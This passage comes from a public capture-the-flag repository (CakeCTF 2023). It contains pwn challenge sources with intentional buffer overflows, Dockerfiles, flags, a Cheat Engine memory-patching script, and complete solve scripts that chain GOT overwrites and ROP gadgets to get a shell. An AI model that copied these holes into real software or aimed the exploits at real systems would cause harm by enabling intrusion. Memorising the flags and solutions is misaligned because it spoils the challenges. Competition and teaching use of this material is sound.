"Pelican", 155 | "Penguin", 156 | "Pheasant", 157 | "Pig", 158 | "Pigeon", 159 | "Pony", 160 | "Porcupine", 161 | "Porpoise", 162 | "Quail", 163 | "Quelea", 164 | "Quetzal", 165 | "Rabbit", 166 | "Raccoon", 167 | "Rail", 168 | "Ram", 169 | "Rat", 170 | "Raven", 171 | "Red deer", 172 | "Red panda", 173 | "Reindeer", 174 | "Rhinoceros", 175 | "Rook", 176 | "Salamander", 177 | "Salmon", 178 | "Sand Dollar", 179 | "Sandpiper", 180 | "Sardine", 181 | "Scorpion", 182 | "Seahorse", 183 | "Seal", 184 | "Shark", 185 | "Sheep", 186 | "Shrew", 187 | "Skunk", 188 | "Snail", 189 | "Snake", 190 | "Sparrow", 191 | "Spider", 192 | "Spoonbill", 193 | "Squid", 194 | "Squirrel", 195 | "Starling", 196 | "Stingray", 197 | "Stinkbug", 198 | "Stork", 199 | "Swallow", 200 | "Swan", 201 | "Tapir", 202 | "Tarsier", 203 | "Termite", 204 | "Tiger", 205 | "Toad", 206 | "Trout", 207 | "Turkey", 208 | "Turtle", 209 | "Viper", 210 | "Vulture", 211 | "Wallaby", 212 | "Walrus", 213 | "Wasp", 214 | "Weasel", 215 | "Whale", 216 | "Wildcat", 217 | "Wolf", 218 | "Wolverine", 219 | "Wombat", 220 | "Woodcock", 221 | "Woodpecker", 222 | "Worm", 223 | "Wren", 224 | "Yak", 225 | "Zebra" 226 | ] 227 | 228 | i = 0 229 | for a in anim: 230 | if " " in a: continue 231 | print(f"animals({i}) = \"{a.lower()}\"") 232 | i += 1 233 | 234 | print(max(map(len, anim))) 235 | -------------------------------------------------------------------------------- /misc/wordtower/challenge/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/misc/wordtower/challenge/icon.ico -------------------------------------------------------------------------------- /misc/wordtower/challenge/main.hsp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/misc/wordtower/challenge/main.hsp -------------------------------------------------------------------------------- /misc/wordtower/challenge/words/animal.hsp: -------------------------------------------------------------------------------- 1 | sdim easy_animals, 1, 29 2 | easy_animals(0) = "alpaca" 3 | easy_animals(1) = "bat" 4 | easy_animals(2) = "bear" 5 | easy_animals(3) = "cat" 6 | easy_animals(4) = "crow" 7 | easy_animals(5) = "deer" 8 | easy_animals(6) = "dog" 9 | easy_animals(7) = "duck" 10 | easy_animals(8) = "fox" 11 | easy_animals(9) = "frog" 12 | easy_animals(10) = "goat" 13 | easy_animals(11) = "hamster" 14 | easy_animals(12) = "horse" 15 | easy_animals(13) = "hyena" 16 | easy_animals(14) = "koala" 17 | easy_animals(15) = "lion" 18 | easy_animals(16) = "monkey" 19 | easy_animals(17) = "mouse" 20 | easy_animals(18) = "owl" 21 | easy_animals(19) = "pig" 22 | easy_animals(20) = "rabbit" 23 | easy_animals(21) = "shark" 24 | easy_animals(22) = "sheep" 25 | easy_animals(23) = "snake" 26 | easy_animals(24) = "tiger" 27 | easy_animals(25) = "turtle" 28 | easy_animals(26) = "wolf" 29 | easy_animals(27) = "zebra" 30 | easy_animals(28) = "panda" 31 | 32 | sdim animals, 1, 222 33 | animals(0) = "aardvark" 34 | animals(1) = "albatross" 35 | animals(2) = "alligator" 36 | animals(3) = "alpaca" 37 | animals(4) = "ant" 38 | animals(5) = "anteater" 39 | animals(6) = "antelope" 40 | animals(7) = "ape" 41 | animals(8) = "armadillo" 42 | animals(9) = "donkey" 43 | animals(10) = "baboon" 44 | animals(11) = "badger" 45 | animals(12) = "barracuda" 46 | animals(13) = "bat" 47 | animals(14) = "bear" 48 | animals(15) = "beaver" 49 | animals(16) = "bee" 50 | animals(17) = "bison" 51 | animals(18) = "boar" 52 | animals(19) = "buffalo" 53 | animals(20) = "butterfly" 54 | animals(21) = "camel" 55 | animals(22) = "capybara" 56 | animals(23) = "caribou" 57 | animals(24) = "cassowary" 58 | animals(25) = "cat" 59 | animals(26) = "caterpillar" 60 | animals(27) = "cattle" 61 | animals(28) = "chamois" 62 | animals(29) = "cheetah" 63 | animals(30) = "chicken" 64 | animals(31) = "chimpanzee" 65 | animals(32) = "chinchilla" 66 | animals(33) = "chough" 67 | animals(34) = "clam" 68 | animals(35) = "cobra" 69 | animals(36) = "cockroach" 70 | animals(37) = "cod" 71 | animals(38) = "cormorant" 72 | animals(39) = "coyote" 73 | animals(40) = "crab" 74 | animals(41) = "crane" 75 | animals(42) = "crocodile" 76 | animals(43) = "crow" 77 | animals(44) = "curlew" 78 | animals(45) = "deer" 79 | animals(46) = "dinosaur" 80 | animals(47) = "dog" 81 | animals(48) = "dogfish" 82 | animals(49) = "dolphin" 83 | animals(50) = "dotterel" 84 | animals(51) = "dove" 85 | animals(52) = "dragonfly" 86 | animals(53) = "duck" 87 | animals(54) = "dugong" 88 | animals(55) = "dunlin" 89 | animals(56) = "eagle" 90 | animals(57) = "echidna" 91 | animals(58) = "eel" 92 | animals(59) = "eland" 93 | animals(60) = "elephant" 94 | animals(61) = "elk" 95 | animals(62) = "emu" 96 | animals(63) = "falcon" 97 | animals(64) = "ferret" 98 | animals(65) = "finch" 99 | animals(66) = "fish" 100 | animals(67) = "flamingo" 101 | animals(68) = "fly" 102 | animals(69) = "fox" 103 | animals(70) = "frog" 104 | animals(71) = "gaur" 105 | animals(72) = "gazelle" 106 | animals(73) = "gerbil" 107 | animals(74) = "giraffe" 108 | animals(75) = "gnat" 109 | animals(76) = "gnu" 110 | animals(77) = "goat" 111 | animals(78) = "goldfinch" 112 | animals(79) = "goldfish" 113 | animals(80) = "goose" 114 | animals(81) = "gorilla" 115 | animals(82) = "goshawk" 116 | animals(83) = "grasshopper" 117 | animals(84) = "grouse" 118 | animals(85) = "guanaco" 119 | animals(86) = "gull" 120 | animals(87) = "hamster" 121 | animals(88) = "hare" 122 | animals(89) = "hawk" 123 | animals(90) = "hedgehog" 124 | animals(91) = "heron" 125 | animals(92) = "herring" 126 | animals(93) = "hippopotamus" 127 | animals(94) = "hornet" 128 | animals(95) = "horse" 129 | animals(96) = "human" 130 | animals(97) = "hummingbird" 131 | animals(98) = "hyena" 132 | animals(99) = "ibex" 133 | animals(100) = "ibis" 134 | animals(101) = "jackal" 135 | animals(102) = "jaguar" 136 | animals(103) = "jay" 137 | animals(104) = "jellyfish" 138 | animals(105) = "kangaroo" 139 | animals(106) = "kingfisher" 140 | animals(107) = "koala" 141 | animals(108) = "kookabura" 142 | animals(109) = "kouprey" 143 | animals(110) = "kudu" 144 | animals(111) = "lapwing" 145 | animals(112) = "lark" 146 | animals(113) = "lemur" 147 | animals(114) = "leopard" 148 | animals(115) = "lion" 149 | animals(116) = "llama" 150 | animals(117) = "lobster" 151 | animals(118) = "locust" 152 | animals(119) = "loris" 153 | animals(120) = "louse" 154 | animals(121) = "lyrebird" 155 | animals(122) = "magpie" 156 | animals(123) = "mallard" 157 | animals(124) = "manatee" 158 | animals(125) = "mandrill" 159 | animals(126) = "mantis" 160 | animals(127) = "marten" 161 | animals(128) = "meerkat" 162 | animals(129) = "mink" 163 | animals(130) = "mole" 164 | animals(131) = "mongoose" 165 | animals(132) = "monkey" 166 | animals(133) = "moose" 167 | animals(134) = "mosquito" 168 | animals(135) = "mouse" 169 | animals(136) = "mule" 170 | animals(137) = "narwhal" 171 | animals(138) = "newt" 172 | animals(139) = "nightingale" 173 | animals(140) = "octopus" 174 | animals(141) = "okapi" 175 | animals(142) = "opossum" 176 | animals(143) = "oryx" 177 | animals(144) = "ostrich" 178 | animals(145) = "otter" 179 | animals(146) = "owl" 180 | animals(147) = "oyster" 181 | animals(148) = "panther" 182 | animals(149) = "parrot" 183 | animals(150) = "partridge" 184 | animals(151) = "peafowl" 185 | animals(152) = "pelican" 186 | animals(153) = "penguin" 187 | animals(154) = "pheasant" 188 | animals(155) = "pig" 189 | animals(156) = "pigeon" 190 | animals(157) = "pony" 191 | animals(158) = "porcupine" 192 | animals(159) = "porpoise" 193 | animals(160) = "quail" 194 | animals(161) = "quelea" 195 | animals(162) = "quetzal" 196 | animals(163) = "rabbit" 197 | animals(164) = "raccoon" 198 | animals(165) = "rail" 199 | animals(166) = "ram" 200 | animals(167) = "rat" 201 | animals(168) = "raven" 202 | animals(169) = "reindeer" 203 | animals(170) = "rhinoceros" 204 | animals(171) = "rook" 205 | animals(172) = "salamander" 206 | animals(173) = "salmon" 207 | animals(174) = "sandpiper" 208 | animals(175) = "sardine" 209 | animals(176) = "scorpion" 210 | animals(177) = "seahorse" 211 | animals(178) = "seal" 212 | animals(179) = "shark" 213 | animals(180) = "sheep" 214 | animals(181) = "shrew" 215 | animals(182) = "skunk" 216 | animals(183) = "snail" 217 | animals(184) = "snake" 218 | animals(185) = "sparrow" 219 | animals(186) = "spider" 220 | animals(187) = "spoonbill" 221 | animals(188) = "squid" 222 | animals(189) = "squirrel" 223 | animals(190) = "starling" 224 | animals(191) = "stingray" 225 | animals(192) = "stinkbug" 226 | animals(193) = "stork" 227 | animals(194) = "swallow" 228 | animals(195) = "swan" 229 | animals(196) = "tapir" 230 | animals(197) = "tarsier" 231 | animals(198) = "termite" 232 | animals(199) = "tiger" 233 | animals(200) = "toad" 234 | animals(201) = "trout" 235 | animals(202) = "turkey" 236 | animals(203) = "turtle" 237 | animals(204) = "viper" 238 | animals(205) = "vulture" 239 | animals(206) = "wallaby" 240 | animals(207) = "walrus" 241 | animals(208) = "wasp" 242 | animals(209) = "weasel" 243 | animals(210) = "whale" 244 | animals(211) = "wildcat" 245 | animals(212) = "wolf" 246 | animals(213) = "wolverine" 247 | animals(214) = "wombat" 248 | animals(215) = "woodcock" 249 | animals(216) = "woodpecker" 250 | animals(217) = "worm" 251 | animals(218) = "wren" 252 | animals(219) = "yak" 253 | animals(220) = "zebra" 254 | animals(221) = "panda" 255 | -------------------------------------------------------------------------------- /misc/wordtower/distfiles/wordtower.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/misc/wordtower/distfiles/wordtower.exe -------------------------------------------------------------------------------- /misc/wordtower/solution/cheat.lua: -------------------------------------------------------------------------------- 1 | local sheep = "sheep" 2 | local memscan = createMemScan() 3 | local foundlist = createFoundList(memscan) 4 | memscan.firstScan(soExactValue, vtString, rtTruncated, 5 | sheep, nil, 0, 0x7fffffffffff, "+W*X", 6 | fsmNotAligned, "1", false, false, false, false) 7 | memscan.waitTillDone() 8 | foundlist.initialize() 9 | 10 | for i = 0, foundlist.Count - 1 do 11 | -- Find the beginning of animal names 12 | base = tonumber(foundlist.getAddress(i), 16) 13 | while true do 14 | if #readString(base, 16, false) == 0 then 15 | break 16 | end 17 | base = base - 0x70 18 | end 19 | base = base + 0x70 20 | 21 | -- Overwrite every animal names with chr(0x61 + length) 22 | while true do 23 | name = readString(base, 16, false) 24 | if #name == 0 then 25 | break 26 | end 27 | 28 | new_name = string.rep(string.char(0x61 + #name), #name) 29 | writeString(base, new_name, false) 30 | 31 | base = base + 0x70 32 | end 33 | 34 | print("Done!") 35 | end 36 | 37 | print("All done!") 38 | -------------------------------------------------------------------------------- /misc/wordtower/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "Word Tower" 3 | description: > 4 |

Word Tower is a game in which players use given letter blocks to create animal names.

5 |

6 | ex) K C A N A W A F E A L S L O P
7 | -> SNAKE / ALPACA / WOLF 8 |

9 | flag: "CakeCTF{wow_you_know_a_lot_of_animals}" 10 | author: ptr-yudai 11 | tags: 12 | - cheat 13 | -------------------------------------------------------------------------------- /pwn/bofwow/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04@sha256:b4b521bfcec90b11d2869e00fe1f2380c21cbfcd799ee35df8bd7ac09e6f63ea AS base 2 | WORKDIR /app 3 | COPY distfiles/bofwow run 4 | COPY challenge/flag.txt /flag.txt 5 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 6 | 7 | FROM pwn.red/jail 8 | COPY --from=base / /srv 9 | ENV JAIL_TIME=180 JAIL_CPU=100 JAIL_MEM=10M 10 | -------------------------------------------------------------------------------- /pwn/bofwow/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ -Wl,-z,lazy,-z,relro main.cpp -o ../distfiles/bofwow -no-pie 3 | cp main.cpp ../distfiles 4 | -------------------------------------------------------------------------------- /pwn/bofwow/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{1_h3r3by_c3rt1fy_th4t_y0u_h4v3_c0mpl3ted_3very7h1ng_4b0ut_ROP} 2 | -------------------------------------------------------------------------------- /pwn/bofwow/challenge/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void input_person(int& age, std::string& name) { 4 | int _age; 5 | char _name[0x100]; 6 | std::cout << "What is your first name? "; 7 | std::cin >> _name; 8 | std::cout << "How old are you? "; 9 | std::cin >> _age; 10 | name = _name; 11 | age = _age; 12 | } 13 | 14 | int main() { 15 | int age; 16 | std::string name; 17 | input_person(age, name); 18 | std::cout << "Information:" << std::endl 19 | << "Age: " << age << std::endl 20 | << "Name: " << name << std::endl; 21 | return 0; 22 | } 23 | 24 | __attribute__((constructor)) 25 | void setup(void) { 26 | std::setbuf(stdin, NULL); 27 | std::setbuf(stdout, NULL); 28 | } 29 | -------------------------------------------------------------------------------- /pwn/bofwow/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04@sha256:b4b521bfcec90b11d2869e00fe1f2380c21cbfcd799ee35df8bd7ac09e6f63ea AS base 2 | WORKDIR /app 3 | COPY bofwow run 4 | RUN echo "FakeCTF{*** REDACTED ***}" > /flag.txt 5 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 6 | 7 | FROM pwn.red/jail 8 | COPY --from=base / /srv 9 | ENV JAIL_TIME=180 JAIL_CPU=100 JAIL_MEM=10M 10 | -------------------------------------------------------------------------------- /pwn/bofwow/distfiles/bofwow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/pwn/bofwow/distfiles/bofwow -------------------------------------------------------------------------------- /pwn/bofwow/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | dist_bofwow: 4 | build: . 5 | ports: 6 | - "9003:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /pwn/bofwow/distfiles/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/pwn/bofwow/distfiles/libc.so.6 -------------------------------------------------------------------------------- /pwn/bofwow/distfiles/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void input_person(int& age, std::string& name) { 4 | int _age; 5 | char _name[0x100]; 6 | std::cout << "What is your first name? "; 7 | std::cin >> _name; 8 | std::cout << "How old are you? "; 9 | std::cin >> _age; 10 | name = _name; 11 | age = _age; 12 | } 13 | 14 | int main() { 15 | int age; 16 | std::string name; 17 | input_person(age, name); 18 | std::cout << "Information:" << std::endl 19 | << "Age: " << age << std::endl 20 | << "Name: " << name << std::endl; 21 | return 0; 22 | } 23 | 24 | __attribute__((constructor)) 25 | void setup(void) { 26 | std::setbuf(stdin, NULL); 27 | std::setbuf(stdout, NULL); 28 | } 29 | -------------------------------------------------------------------------------- /pwn/bofwow/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | bofwow: 4 | build: . 5 | ports: 6 | - "9003:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /pwn/bofwow/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", 9003)) 6 | 7 | libc = ELF("../distfiles/libc.so.6") 8 | elf = ELF("../distfiles/bofwow") 9 | #sock = Process("../distfiles/bofwow") 10 | sock = Socket(HOST, PORT) 11 | 12 | # Get infinite loop 13 | payload = p64(elf.symbol("main")) 14 | payload += b"\x00"*0x128 15 | payload += p64(elf.got("__stack_chk_fail")) 16 | payload += p64(0x1000) 17 | payload += p64(0x1000) 18 | sock.sendlineafter("? ", payload) 19 | sock.sendlineafter("? ", 0xdead) 20 | 21 | # AAW 22 | def aaw(addr, value): 23 | payload = p64(value) 24 | payload += b"\x00"*0x128 25 | payload += p64(addr) 26 | payload += p64(0x1000) 27 | payload += p64(0x1000) 28 | sock.sendlineafter("? ", payload) 29 | sock.sendlineafter("? ", 0xdead) 30 | 31 | # Prepare gadget 32 | # 0x004012bc: add [rbp-0x3d], ebx; nop; ret; 33 | # 0x004014c3: mov ebx, [rbp-8]; leave; ret; 34 | addr_cmd = 0x4040a0 35 | aaw(addr_cmd, u64(b"/bin/sh\0")) 36 | 37 | addr_chain = 0x404f00 38 | aaw(addr_chain + 8, next(elf.gadget("add [rbp-0x3d], ebx; nop; ret;"))) 39 | aaw(addr_chain + 0x10, elf.symbol('main')) 40 | 41 | offset = (libc.symbol("system") + 4) - libc.symbol("setbuf") 42 | aaw(addr_chain - 8, offset) 43 | aaw(addr_chain + 0, elf.got('setbuf') + 0x3d) 44 | 45 | # Calculate system address 46 | payload = p64(next(elf.gadget("ret"))) 47 | payload += b"\x00"*0x108 48 | payload += p64(addr_chain) # rbp 49 | payload += p64(next(elf.gadget("mov ebx, [rbp-8]; leave; ret"))) 50 | payload += b"A"*0x10 51 | payload += p64(elf.got('__stack_chk_fail')) 52 | payload += p64(0x1000) 53 | payload += p64(0x1000) 54 | sock.sendlineafter("? ", payload) 55 | sock.sendlineafter("? ", 0xdead) 56 | 57 | # Get infinite loop 58 | payload = p64(elf.symbol("main")) 59 | payload += b"\x00"*0x128 60 | payload += p64(elf.got("__stack_chk_fail")) 61 | payload += p64(0x1000) 62 | payload += p64(0x1000) 63 | sock.sendlineafter("? ", payload) 64 | sock.sendlineafter("? ", 0xdead) 65 | 66 | # Prepare gadget 67 | # 0x00401289: mov edi, 0x4040a0; jmp rax; 68 | # 0x004015a3: mov rax, [rbp-0x18]; leave; ret; 69 | addr_chain = 0x404f38 # avoid null byte 70 | aaw(addr_chain + 8, next(elf.gadget("mov edi, 0x4040a0; jmp rax"))) 71 | aaw(elf.got('setbuf') + 0x18, addr_chain) 72 | aaw(elf.got('setbuf') + 0x20, next(elf.gadget("leave; ret"))) 73 | 74 | # Win 75 | payload = p64(next(elf.gadget("ret"))) 76 | payload += b"\x00"*0x108 77 | payload += p64(elf.got('setbuf') + 0x18) # rbp 78 | payload += p64(next(elf.gadget("mov rax, [rbp-0x18]; leave; ret"))) 79 | payload += b"A"*0x10 80 | payload += p64(elf.got('__stack_chk_fail')) 81 | payload += p64(0x1000) 82 | payload += p64(0x1000) 83 | sock.sendlineafter("? ", payload) 84 | sock.sendlineafter("? ", 0xdead) 85 | 86 | sock.sh() 87 | -------------------------------------------------------------------------------- /pwn/bofwow/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "bofwow" 3 | description: > 4 |

buffer overflow without win function

5 | nc {host} {port} 6 | flag: "CakeCTF{1_h3r3by_c3rt1fy_th4t_y0u_h4v3_c0mpl3ted_3very7h1ng_4b0ut_ROP}" 7 | author: ptr-yudai 8 | host: bofwow.2023.cakectf.com 9 | port: 9003 10 | tags: 11 | - pwn 12 | - lunatic 13 | -------------------------------------------------------------------------------- /pwn/bofww/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04@sha256:b4b521bfcec90b11d2869e00fe1f2380c21cbfcd799ee35df8bd7ac09e6f63ea AS base 2 | WORKDIR /app 3 | COPY distfiles/bofww run 4 | COPY challenge/flag.txt /flag.txt 5 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 6 | 7 | FROM pwn.red/jail 8 | COPY --from=base / /srv 9 | ENV JAIL_TIME=180 JAIL_CPU=100 JAIL_MEM=10M 10 | -------------------------------------------------------------------------------- /pwn/bofww/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ -Wl,-z,lazy,-z,relro main.cpp -o ../distfiles/bofww -no-pie 3 | cp main.cpp ../distfiles 4 | -------------------------------------------------------------------------------- /pwn/bofww/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{n0w_try_w1th0ut_w1n_func710n:)} 2 | -------------------------------------------------------------------------------- /pwn/bofww/challenge/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void win() { 4 | std::system("/bin/sh"); 5 | } 6 | 7 | void input_person(int& age, std::string& name) { 8 | int _age; 9 | char _name[0x100]; 10 | std::cout << "What is your first name? "; 11 | std::cin >> _name; 12 | std::cout << "How old are you? "; 13 | std::cin >> _age; 14 | name = _name; 15 | age = _age; 16 | } 17 | 18 | int main() { 19 | int age; 20 | std::string name; 21 | input_person(age, name); 22 | std::cout << "Information:" << std::endl 23 | << "Age: " << age << std::endl 24 | << "Name: " << name << std::endl; 25 | return 0; 26 | } 27 | 28 | __attribute__((constructor)) 29 | void setup(void) { 30 | std::setbuf(stdin, NULL); 31 | std::setbuf(stdout, NULL); 32 | } 33 | -------------------------------------------------------------------------------- /pwn/bofww/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04@sha256:b4b521bfcec90b11d2869e00fe1f2380c21cbfcd799ee35df8bd7ac09e6f63ea AS base 2 | WORKDIR /app 3 | COPY bofww run 4 | RUN echo "FakeCTF{*** REDACTED ***}" > /flag.txt 5 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 6 | 7 | FROM pwn.red/jail 8 | COPY --from=base / /srv 9 | ENV JAIL_TIME=180 JAIL_CPU=100 JAIL_MEM=10M 10 | -------------------------------------------------------------------------------- /pwn/bofww/distfiles/bofww: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/pwn/bofww/distfiles/bofww -------------------------------------------------------------------------------- /pwn/bofww/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | dist_bofww: 4 | build: . 5 | ports: 6 | - "9002:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /pwn/bofww/distfiles/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void win() { 4 | std::system("/bin/sh"); 5 | } 6 | 7 | void input_person(int& age, std::string& name) { 8 | int _age; 9 | char _name[0x100]; 10 | std::cout << "What is your first name? "; 11 | std::cin >> _name; 12 | std::cout << "How old are you? "; 13 | std::cin >> _age; 14 | name = _name; 15 | age = _age; 16 | } 17 | 18 | int main() { 19 | int age; 20 | std::string name; 21 | input_person(age, name); 22 | std::cout << "Information:" << std::endl 23 | << "Age: " << age << std::endl 24 | << "Name: " << name << std::endl; 25 | return 0; 26 | } 27 | 28 | __attribute__((constructor)) 29 | void setup(void) { 30 | std::setbuf(stdin, NULL); 31 | std::setbuf(stdout, NULL); 32 | } 33 | -------------------------------------------------------------------------------- /pwn/bofww/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | bofww: 4 | build: . 5 | ports: 6 | - "9002:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /pwn/bofww/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", 9002)) 6 | 7 | elf = ELF("../distfiles/bofww") 8 | #sock = Process("../distfiles/bofww") 9 | sock = Socket(HOST, PORT) 10 | 11 | payload = p64(elf.symbol("_Z3winv")) 12 | payload += b"\x00"*0x128 13 | payload += p64(elf.got("__stack_chk_fail")) 14 | payload += p64(0x1000) 15 | payload += p64(0x1000) 16 | sock.sendlineafter("? ", payload) 17 | sock.sendlineafter("? ", 0xdead) 18 | 19 | sock.sh() 20 | -------------------------------------------------------------------------------- /pwn/bofww/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "bofww" 3 | description: > 4 |

buffer overflow with win function

5 | nc {host} {port} 6 | flag: "CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}" 7 | author: ptr-yudai 8 | host: bofww.2023.cakectf.com 9 | port: 9002 10 | tags: 11 | - pwn 12 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04@sha256:b4b521bfcec90b11d2869e00fe1f2380c21cbfcd799ee35df8bd7ac09e6f63ea AS base 2 | WORKDIR /app 3 | COPY distfiles/cabbage run 4 | COPY challenge/flag.txt /flag.txt 5 | 6 | FROM pwn.red/jail 7 | COPY --from=base / /srv 8 | ENV JAIL_TIME=180 JAIL_CPU=100 JAIL_MEM=10M JAIL_TMP_SIZE=8192 9 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o ../distfiles/cabbage 3 | cp main.c ../distfiles 4 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{B3_c4r3fuL_s0m3_libc_fuNcT10n5_r3TuRn_5t4ck_p01nT3r} 2 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/challenge/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX" 7 | 8 | static char *tempdir; 9 | 10 | void setup() { 11 | char template[] = TEMPDIR_TEMPLATE; 12 | 13 | setvbuf(stdin, NULL, _IONBF, 0); 14 | setvbuf(stdout, NULL, _IONBF, 0); 15 | 16 | if (!(tempdir = mkdtemp(template))) { 17 | perror("mkdtemp"); 18 | exit(1); 19 | } 20 | if (chdir(tempdir) != 0) { 21 | perror("chdir"); 22 | exit(1); 23 | } 24 | } 25 | 26 | void memo_r() { 27 | FILE *fp; 28 | char path[0x20]; 29 | char buf[0x1000]; 30 | 31 | strcpy(path, tempdir); 32 | strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); 33 | if (!(fp = fopen(path, "r"))) 34 | return; 35 | fgets(buf, sizeof(buf) - 1, fp); 36 | fclose(fp); 37 | 38 | printf("Memo: %s", buf); 39 | } 40 | 41 | void memo_w() { 42 | FILE *fp; 43 | char path[0x20]; 44 | char buf[0x1000]; 45 | 46 | printf("Memo: "); 47 | if (!fgets(buf, sizeof(buf)-1, stdin)) 48 | exit(1); 49 | 50 | strcpy(path, tempdir); 51 | strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); 52 | if (!(fp = fopen(path, "w"))) 53 | return; 54 | fwrite(buf, 1, strlen(buf), fp); 55 | fclose(fp); 56 | } 57 | 58 | int main() { 59 | int choice; 60 | 61 | setup(); 62 | while (1) { 63 | printf("1. Write memo\n" 64 | "2. Read memo\n" 65 | "> "); 66 | if (scanf("%d%*c", &choice) != 1) 67 | break; 68 | switch (choice) { 69 | case 1: memo_w(); break; 70 | case 2: memo_r(); break; 71 | default: return 0; 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04@sha256:b4b521bfcec90b11d2869e00fe1f2380c21cbfcd799ee35df8bd7ac09e6f63ea AS base 2 | WORKDIR /app 3 | COPY cabbage run 4 | RUN echo "FakeCTF{*** REDACTED ***}" > /flag.txt 5 | 6 | FROM pwn.red/jail 7 | COPY --from=base / /srv 8 | ENV JAIL_TIME=180 JAIL_CPU=100 JAIL_MEM=10M JAIL_TMP_SIZE=8192 9 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/distfiles/cabbage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/pwn/memorial_cabbage/distfiles/cabbage -------------------------------------------------------------------------------- /pwn/memorial_cabbage/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | dist_cabbage: 4 | build: . 5 | ports: 6 | - "9001:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/distfiles/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX" 7 | 8 | static char *tempdir; 9 | 10 | void setup() { 11 | char template[] = TEMPDIR_TEMPLATE; 12 | 13 | setvbuf(stdin, NULL, _IONBF, 0); 14 | setvbuf(stdout, NULL, _IONBF, 0); 15 | 16 | if (!(tempdir = mkdtemp(template))) { 17 | perror("mkdtemp"); 18 | exit(1); 19 | } 20 | if (chdir(tempdir) != 0) { 21 | perror("chdir"); 22 | exit(1); 23 | } 24 | } 25 | 26 | void memo_r() { 27 | FILE *fp; 28 | char path[0x20]; 29 | char buf[0x1000]; 30 | 31 | strcpy(path, tempdir); 32 | strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); 33 | if (!(fp = fopen(path, "r"))) 34 | return; 35 | fgets(buf, sizeof(buf) - 1, fp); 36 | fclose(fp); 37 | 38 | printf("Memo: %s", buf); 39 | } 40 | 41 | void memo_w() { 42 | FILE *fp; 43 | char path[0x20]; 44 | char buf[0x1000]; 45 | 46 | printf("Memo: "); 47 | if 